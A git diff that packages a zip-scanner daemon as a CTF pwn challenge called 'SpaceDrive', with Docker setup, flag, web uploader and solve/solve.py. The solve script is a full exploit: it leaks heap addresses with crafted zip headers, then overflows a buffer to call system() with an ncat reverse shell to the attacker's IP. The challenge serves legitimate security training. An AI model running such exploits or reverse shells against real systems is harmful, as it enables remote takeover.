diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..dba7866 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,20 @@ +FROM ubuntu:22.04 + +RUN apt update && apt install python3-pip ncat -y + +RUN useradd -m -s /bin/bash user + +USER user +WORKDIR /home/user + +COPY dist/mineziperd . +COPY src/webapp webapp +COPY flag.txt . + +WORKDIR /home/user/webapp + +RUN pip install -r requirements.txt + +EXPOSE 5000 +ENV FLASK_APP=app.py +CMD ["python3", "-m", "flask", "run", "--host", "0.0.0.0"] diff --git a/README.md b/README.md index 8b01e2c..ec4d066 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,26 @@ -# mineziper 💣 -### A Minesweeper for zip files! +# SpaceDrive + +## Deploy chall + +```bash +sudo docker build -t chall . +sudo docker run --rm -p 5000:5000 -it chall +``` + +## :triangular_flag_on_post: Challenge Informations + + + +| **Title** | Notebook | +| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Category** | pwn | +| **Description** | To upload the firmware updates to our satellites, we deplopped SpaceDrive, a safe file uploader across the stars. Because we experienced many issues with malicious ZipFiles in the past, our security team also developped a zip scanner to detected embeded malware. Will you be able to break it to take control of the satellite? | +| **Author** | atxr | +| **Difficulty (/10)** | 8 | +| **Is Remote** | Yes | +| **Has attachments** | Yes | +| **Estimated solve time** | ~2h | +| **Solve instructions** | First modify the victim/attacker ip in `solve/solve.py`. Then `cd solve && python3 solve.py` and follow the instructions | +| **Flag** | **`THCon{WH3N_y0U_4N7iVIrus_IS_4C7U4LLY_4_84cKd00R}`** | +| **Deploy** | `sudo docker build -t spacedrive . && sudo docker run --rm -p 5000:5000 -it spacedrive` | -Detect zip bombs based on overlapping files. diff --git a/build.sh b/build.sh new file mode 100644 index 0000000..865e125 --- /dev/null +++ b/build.sh @@ -0,0 +1,13 @@ +echo "Building project and update sources in dist/" + +cd src/mineziper/ +mkdir build +cd build +cmake .. && make +cp bin/mineziperd ../../../dist +cd .. +rm -rf build +cd ../.. + +echo "Adding source backup to dist/" +zip -r dist/src.zip src \ No newline at end of file diff --git a/dist/mineziperd b/dist/mineziperd new file mode 100755 index 0000000..e5a94e1 Binary files /dev/null and b/dist/mineziperd differ diff --git a/flag.txt b/flag.txt new file mode 100644 index 0000000..02e6956 --- /dev/null +++ b/flag.txt @@ -0,0 +1 @@ +THCon{WH3N_y0U_4N7iVIrus_IS_4C7U4LLY_4_84cKd00R} \ No newline at end of file diff --git a/solve/solve.py b/solve/solve.py new file mode 100644 index 0000000..077d9af --- /dev/null +++ b/solve/solve.py @@ -0,0 +1,135 @@ +import requests +import struct +import zipfile + + +############## +# PARAMETERS # +############## + +# Victim params +ip = "X.X.X.X" +port = 5000 +url = f"http://{ip}:{port}/upload" + +# Reverse shell params +my_ip = "X.X.X.X" +my_port = 9001 + + +############# +# LEAK ASLR # +############# + +guess = 0 +leak = b"" + +size_chunk = 0x20 +off_data = size_chunk * 2 + +stored_block_lfh = b'PK\x03\x04\n\x00\x00\x00\x00\x00\xd2\xbb[X\xday\xa1\xa7\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x1c\x00dummyUT\t\x00\x03\x8cb\xdee\x8cb\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x009\t\xb4\x13' +stored_block_cd = b'PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00\xd2\xbb[X\xday\xa1\xa7\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00dummyUT\x05\x00\x03\x8cb\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00' + +cd = b"PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00C\x8a[X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%b\x18\x00%b\x00\x00\x00\x00\x00\x00\xa4\x81%blinpeas.shUT\x05\x00\x03>\x0b\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00" +eocd = b"PK\x05\x06\x00\x00\x00\x00\x80\x00%b%b%b\x00\x00" + +lencd = len(cd % (b"00", b"00", b"0000")) +leneocd = len(eocd % (b"00", b'0000', b'0000')) + +totsize = len(stored_block_lfh) +totsize += len(stored_block_cd) +totsize += lencd +totsize += leneocd +totsize += 8 # metadata of heap chunk +while totsize & 0xf != 0: + totsize += 1 + +off_data += totsize # offset to the beg of "data" +off_data -= 0x18 # ajust to the beg of data.filename + +print(f"{hex(size_chunk)=}\n{hex(off_data)=}") + +for _ in range(8): + off_data += 1 + + for guess in range(0x100): + # Add a classical stored block to put the free address on the heap + zip = stored_block_lfh + zip += stored_block_cd + + # generate payload for the size and inject malicious cdh + payload = (guess << 8) + if len(leak): + payload += leak[0] + + comp = (0x1000a - payload) % 0x10000 + zip += cd % (struct.pack("H", payload), struct.pack("H", comp), struct.pack("I", off_data)) + + # Add EOCD + zip += eocd % ( + struct.pack("H", 2), + struct.pack("I", lencd + len(stored_block_cd)), + struct.pack("I", len(stored_block_lfh)) + ) + + x = requests.post(url, files={'file': zip}) + if "Error" not in x.text: + print("Found correct guess:", hex(guess)) + leak = guess.to_bytes(1, "big") + leak + + print(leak) + +leak_i = 0 +for i in range(8): + leak_i += leak[7-i] << (i*8) + +print(hex(leak_i)) + + +####################### +# Craft malicious zip # +####################### + +l = 96 +offset = -0x54670 +free = leak_i + +system = struct.pack("Q", free + offset) +command = b"ncat %b %b -e /bin/bash\x00" % (my_ip.encode(), str(my_port).encode()) + +payload = command + b"a" * (l - len(command)) + b"\x00"*4 + system + +with zipfile.ZipFile("payload.zip", "w", zipfile.ZIP_DEFLATED) as zipf: + with zipf.open("payload.txt", "w") as f: + f.write(payload) + f.close() + + for i in range(1, 8): + with zipf.open(f"dummy{str(i)}.txt", "w") as f: + f.write(b"dummy") + f.close() + + zipf.close() + +zip = b"" +with open("payload.zip", "rb") as zipf: + zip = zipf.read() + zipf.close() + +off = zip.find(bytes([len(payload)])) +print("Offset of payload size: " + hex(off)) + +zip = zip[:off] + b"\x24" + zip[off+1:] + +with open("payload.zip", "wb") as zipf: + zipf.write(zip) + zipf.close() + +print("payload.zip patched") +print("You can start listening on port ", str(my_port)) +print("Once you get the shell, `cat ~/flag.txt`") +input("Press any key when you are ready...") +print("Sending payload...") + +x = requests.post(url, files={'file': zip}) +print(x.text) \ No newline at end of file diff --git a/CMakeLists.txt b/src/mineziper/CMakeLists.txt similarity index 100% rename from CMakeLists.txt rename to src/mineziper/CMakeLists.txt diff --git a/src/mineziper/README.md b/src/mineziper/README.md new file mode 100644 index 0000000..8b01e2c --- /dev/null +++ b/src/mineziper/README.md @@ -0,0 +1,4 @@ +# mineziper 💣 +### A Minesweeper for zip files! + +Detect zip bombs based on overlapping files. diff --git a/libmineziper/CMakeLists.txt b/src/mineziper/libmineziper/CMakeLists.txt similarity index 100% rename from libmineziper/CMakeLists.txt rename to src/mineziper/libmineziper/CMakeLists.txt diff --git a/libmineziper/include/libmineziper.h b/src/mineziper/libmineziper/include/libmineziper.h similarity index 100% rename from libmineziper/include/libmineziper.h rename to src/mineziper/libmineziper/include/libmineziper.h diff --git a/libmineziper/include/libmineziper_bitstream.h b/src/mineziper/libmineziper/include/libmineziper_bitstream.h similarity index 100% rename from libmineziper/include/libmineziper_bitstream.h rename to src/mineziper/libmineziper/include/libmineziper_bitstream.h diff --git a/libmineziper/include/libmineziper_crypto.h b/src/mineziper/libmineziper/include/libmineziper_crypto.h similarity index 100% rename from libmineziper/include/libmineziper_crypto.h rename to src/mineziper/libmineziper/include/libmineziper_crypto.h diff --git a/libmineziper/include/libmineziper_huffman_tree.h b/src/mineziper/libmineziper/include/libmineziper_huffman_tree.h similarity index 100% rename from libmineziper/include/libmineziper_huffman_tree.h rename to src/mineziper/libmineziper/include/libmineziper_huffman_tree.h diff --git a/libmineziper/include/libmineziper_zip.h b/src/mineziper/libmineziper/include/libmineziper_zip.h similarity index 100% rename from libmineziper/include/libmineziper_zip.h rename to src/mineziper/libmineziper/include/libmineziper_zip.h diff --git a/libmineziper/src/libmineziper.c b/src/mineziper/libmineziper/src/libmineziper.c similarity index 100% rename from libmineziper/src/libmineziper.c rename to src/mineziper/libmineziper/src/libmineziper.c diff --git a/libmineziper/src/libmineziper_bitstream.c b/src/mineziper/libmineziper/src/libmineziper_bitstream.c similarity index 98% rename from libmineziper/src/libmineziper_bitstream.c rename to src/mineziper/libmineziper/src/libmineziper_bitstream.c index 3cab8cb..d25b279 100644 --- a/libmineziper/src/libmineziper_bitstream.c +++ b/src/mineziper/libmineziper/src/libmineziper_bitstream.c @@ -1,6 +1,7 @@ #include "libmineziper_bitstream.h" #include +#include unsigned int get_bits(bitstream* bs, unsigned int bit_num) { diff --git a/libmineziper/src/libmineziper_crypto.c b/src/mineziper/libmineziper/src/libmineziper_crypto.c similarity index 100% rename from libmineziper/src/libmineziper_crypto.c rename to src/mineziper/libmineziper/src/libmineziper_crypto.c diff --git a/libmineziper/src/libmineziper_huffman_tree.c b/src/mineziper/libmineziper/src/libmineziper_huffman_tree.c similarity index 100% rename from libmineziper/src/libmineziper_huffman_tree.c rename to src/mineziper/libmineziper/src/libmineziper_huffman_tree.c diff --git a/libmineziper/src/libmineziper_zip.c b/src/mineziper/libmineziper/src/libmineziper_zip.c similarity index 100% rename from libmineziper/src/libmineziper_zip.c rename to src/mineziper/libmineziper/src/libmineziper_zip.c diff --git a/mineziper/CMakeLists.txt b/src/mineziper/mineziper/CMakeLists.txt similarity index 100% rename from mineziper/CMakeLists.txt rename to src/mineziper/mineziper/CMakeLists.txt diff --git a/mineziper/mineziper.c b/src/mineziper/mineziper/mineziper.c similarity index 100% rename from mineziper/mineziper.c rename to src/mineziper/mineziper/mineziper.c diff --git a/mineziper/mineziperd.c b/src/mineziper/mineziper/mineziperd.c similarity index 100% rename from mineziper/mineziperd.c rename to src/mineziper/mineziper/mineziperd.c diff --git a/tests/CMakeLists.txt b/src/mineziper/tests/CMakeLists.txt similarity index 100% rename from tests/CMakeLists.txt rename to src/mineziper/tests/CMakeLists.txt diff --git a/tests/test_decode_fixed_tree.c b/src/mineziper/tests/test_decode_fixed_tree.c similarity index 100% rename from tests/test_decode_fixed_tree.c rename to src/mineziper/tests/test_decode_fixed_tree.c diff --git a/tests/test_decode_huffman_tree.c b/src/mineziper/tests/test_decode_huffman_tree.c similarity index 100% rename from tests/test_decode_huffman_tree.c rename to src/mineziper/tests/test_decode_huffman_tree.c diff --git a/tests/test_get_cdh.c b/src/mineziper/tests/test_get_cdh.c similarity index 100% rename from tests/test_get_cdh.c rename to src/mineziper/tests/test_get_cdh.c diff --git a/webapp/app.py b/src/webapp/app.py similarity index 59% rename from webapp/app.py rename to src/webapp/app.py index 5ae934b..dc03205 100644 --- a/webapp/app.py +++ b/src/webapp/app.py @@ -3,6 +3,8 @@ import socket from struct import pack, unpack import hashlib import sys +import time +import os PORT = 8989 @@ -17,18 +19,28 @@ def index(): @app.route('/upload', methods=['POST']) def upload(): if 'file' not in request.files: - return 'No file part' + return render_template('upload_status.html', message='No file part', success=False) + file = request.files['file'] if file.filename == '': - return 'No selected file' + return render_template('upload_status.html', message='No selected file', success=False) buf = file.read() hash = hashlib.sha256(buf).digest() # Scan file - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(10) - s.connect(("localhost", PORT)) + while True: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(10) + s.connect(("localhost", PORT)) + break + + except: + print("Restarting mineziper service", file=sys.stdout) + os.system("pkill mineziperd") + os.system("~/mineziperd &") + time.sleep(5) s.send(pack("I", len(buf))) s.send(buf) @@ -44,16 +56,19 @@ def upload(): elif (status == 1): message = "Error: Potential virus found, cannot upload." + success = False else: message = 'File successfully uploaded' files.append({'filename': file.filename, 'content':buf}) + success = True except: message = 'Error: Failed to scan file' + success = False s.close() - return message + return render_template('upload_status.html', message=message, success=success) if __name__ == '__main__': app.run(debug=True) diff --git a/src/webapp/requirements.txt b/src/webapp/requirements.txt new file mode 100644 index 0000000..6b95995 --- /dev/null +++ b/src/webapp/requirements.txt @@ -0,0 +1,7 @@ +blinker==1.7.0 +click==8.1.7 +Flask==3.0.2 +itsdangerous==2.1.2 +Jinja2==3.1.3 +MarkupSafe==2.1.5 +Werkzeug==3.0.1 diff --git a/webapp/static/space.jpg b/src/webapp/static/space.jpg similarity index 100% rename from webapp/static/space.jpg rename to src/webapp/static/space.jpg diff --git a/src/webapp/static/styles.css b/src/webapp/static/styles.css new file mode 100644 index 0000000..53ebb70 --- /dev/null +++ b/src/webapp/static/styles.css @@ -0,0 +1,135 @@ +body { + font-family: 'Roboto', sans-serif; + background-color: #0a0a23; + color: #ffffff; + margin: 0; + padding: 0; + background-image: url('space.jpg'); + background-size: cover; +} + +.container { + max-width: 500px; + margin: 50px auto; + padding: 20px; + background-color: #1a1a33; + border-radius: 10px; + box-shadow: 0px 0px 20px rgba(255, 255, 255, 0.1); +} + +h1 { + text-align: center; + margin-bottom: 30px; +} + +form { + text-align: center; +} + +/* Hide the default file input button */ +input[type="file"] { + display: none; +} + +/* Style the custom file input button */ +.custom-file-upload { + border: 2px solid #00BFFF; + border-radius: 5px; + padding: 10px 20px; + background-color: transparent; + color: #00BFFF; + font-size: 16px; + cursor: pointer; + transition: background-color 0.3s, border-color 0.3s, color 0.3s; + margin-right: 10px; +} + +.custom-file-upload:hover { + background-color: #00BFFF; + /* Light blue background on hover */ + color: #FFFFFF; + /* White text color on hover */ +} + +.custom-file-upload:focus { + outline: none; + /* Remove default focus outline */ + border-color: #1E90FF; + /* Darker blue border color on focus */ +} + +input[type="submit"] { + border: 2px solid #00BFFF; + border-radius: 5px; + padding: 10px 20px; + background-color: #00ccff; + color: #ffffff; + cursor: pointer; + font-size: 16px; + transition: background-color 0.3s; + margin-left: 10px; +} + +input[type="submit"]:hover { + background-color: #0099cc; +} + +.message { + text-align: center; + margin-top: 20px; + padding: 10px; + background-color: #2d2d2d; + color: #ffffff; + border: 1px solid #ffffff; + border-radius: 5px; +} + +.note { + font-size: 16px; + color: #FFFFFF; + /* White color for visibility */ + margin-top: 20px; + text-align: center; + font-style: italic; + border: 2px solid #FFFFFF; + /* White border */ + padding: 10px; + border-radius: 5px; + background-color: rgba(0, 0, 0, 0.5); + /* Semi-transparent black background */ + box-shadow: 0px 0px 10px rgba(255, 255, 255, 0.2); + /* Add shadow for depth */ +} + +.success { + background-color: #c9e6c9; + color: #008000; + border: 1px solid #4caf50; +} + +.error { + background-color: #f8d7da; + color: #721c24; + border: 1px solid #f5c6cb; +} + +/* CSS for "go back to home page" link */ +.back-link { + display: inline-block; + margin-top: 20px; + text-decoration: none; + padding: 10px 20px; + background-color: #007bff; + /* Blue background color */ + color: #fff; + /* White text color */ + border-radius: 5px; + transition: background-color 0.3s, color 0.3s; +} + +.back-link:hover { + background-color: #0056b3; + /* Darker blue background color on hover */ + color: #fff; + /* White text color on hover */ +} \ No newline at end of file diff --git a/src/webapp/templates/index.html b/src/webapp/templates/index.html new file mode 100644 index 0000000..4ff4374 --- /dev/null +++ b/src/webapp/templates/index.html @@ -0,0 +1,37 @@ + + + + + + + Satellite File Upload + + + + + +
+

SpaceDrive 🛰️

+

Welcome to the SpaceDrive portal. This service allows you to securely upload files to our satellite + systems orbiting Earth.

+

Using this portal, you can securely transmit files to our satellites from anywhere on Earth. 🌏

+ + +

Note: Submitted files will be scanned to detect malicious patterns. Our team has developed a + specific tool to scan zip files.

+ +
+ + + +
+ +
+ 🚀🚀🚀 +
+ + + \ No newline at end of file diff --git a/src/webapp/templates/upload_status.html b/src/webapp/templates/upload_status.html new file mode 100644 index 0000000..c9792df --- /dev/null +++ b/src/webapp/templates/upload_status.html @@ -0,0 +1,17 @@ + + + + + + Upload Status + + + +
+
+ {{ message }} +
+ Go back to upload page +
+ + diff --git a/webapp/static/styles.css b/webapp/static/styles.css deleted file mode 100644 index dc38ef5..0000000 --- a/webapp/static/styles.css +++ /dev/null @@ -1,78 +0,0 @@ -body { - font-family: 'Roboto', sans-serif; - background-color: #0a0a23; - color: #ffffff; - margin: 0; - padding: 0; - background-image: url('space.jpg'); - background-size: cover; -} - -.container { - max-width: 500px; - margin: 50px auto; - padding: 20px; - background-color: #1a1a33; - border-radius: 10px; - box-shadow: 0px 0px 20px rgba(255, 255, 255, 0.1); -} - -h1 { - text-align: center; - margin-bottom: 30px; -} - -form { - text-align: center; -} - -input[type="file"] { - margin-bottom: 20px; /* Adjust margin-bottom to create space below the input */ - margin-top: 20px; /* Add margin-top to create space above the input */ - padding: 10px; - border: 2px solid #ddd; - border-radius: 5px; - width: 80%; - display: block; - margin: 0 auto; - background-color: #1a1a33; - color: #ffffff; -} - -input[type="file"]::placeholder { - color: #ffffff; -} - - -input[type="submit"] { - background-color: #00ccff; - color: #ffffff; - padding: 10px 20px; - border: none; - border-radius: 5px; - cursor: pointer; - font-size: 16px; - transition: background-color 0.3s; -} - -input[type="submit"]:hover { - background-color: #0099cc; -} - -.message { - text-align: center; - margin-top: 20px; - padding: 10px; - background-color: #2d2d2d; - color: #ffffff; - border: 1px solid #ffffff; - border-radius: 5px; -} - -.note { - font-size: 14px; - color: #666; - margin-top: 10px; - text-align: center; - font-style: italic; -} \ No newline at end of file diff --git a/webapp/templates/index.html b/webapp/templates/index.html deleted file mode 100644 index 290eef4..0000000 --- a/webapp/templates/index.html +++ /dev/null @@ -1,35 +0,0 @@ - - - - - - - Satellite File Upload - - - - - -
-

Satellite File Upload

-

Welcome to the Satellite File Upload portal. This portal allows you to securely upload files to our satellite - systems orbiting Earth.

-

Our satellites are equipped with advanced sensors and instruments that collect various types of data, - including weather patterns, environmental changes, and astronomical observations. To ensure the smooth - operation of these satellites, it's essential to regularly upload firmware updates, configuration files, and - scientific data.

-

Using this portal, you can securely transmit files to our satellites from anywhere on Earth. Once uploaded, - our satellite communication systems will process and integrate the data seamlessly into our satellite - networks.

-
- - -

Note: Submitted files will be scanned to detect malicious patterns. Our team has developed a - specific tool to scan zip files.

- -
-
-
- - - \ No newline at end of file